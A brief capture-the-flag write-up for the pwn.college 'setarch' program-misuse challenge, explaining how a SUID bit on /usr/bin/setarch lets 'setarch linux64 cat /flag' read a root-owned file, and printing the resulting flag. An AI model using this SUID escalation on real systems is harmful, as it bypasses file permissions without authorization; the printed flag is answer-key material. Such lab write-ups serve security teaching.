Challenge Name: setarch
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Begineer
Date: 2025-07-15
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/setarch, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/setarch
output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/setarch
-The s in -rws indicates itβs a SUID binary.
-setarch runs with root privileges.
π Exploitation
The setarch command in Linux is used to change the architecture or personality of a process before executing it.
setarch linux64 cat /flag
Output:
pwn.college{k2RylRehP4RmVHIWovP1YNHQHzU.dJzNxwSM0IzMyEzW}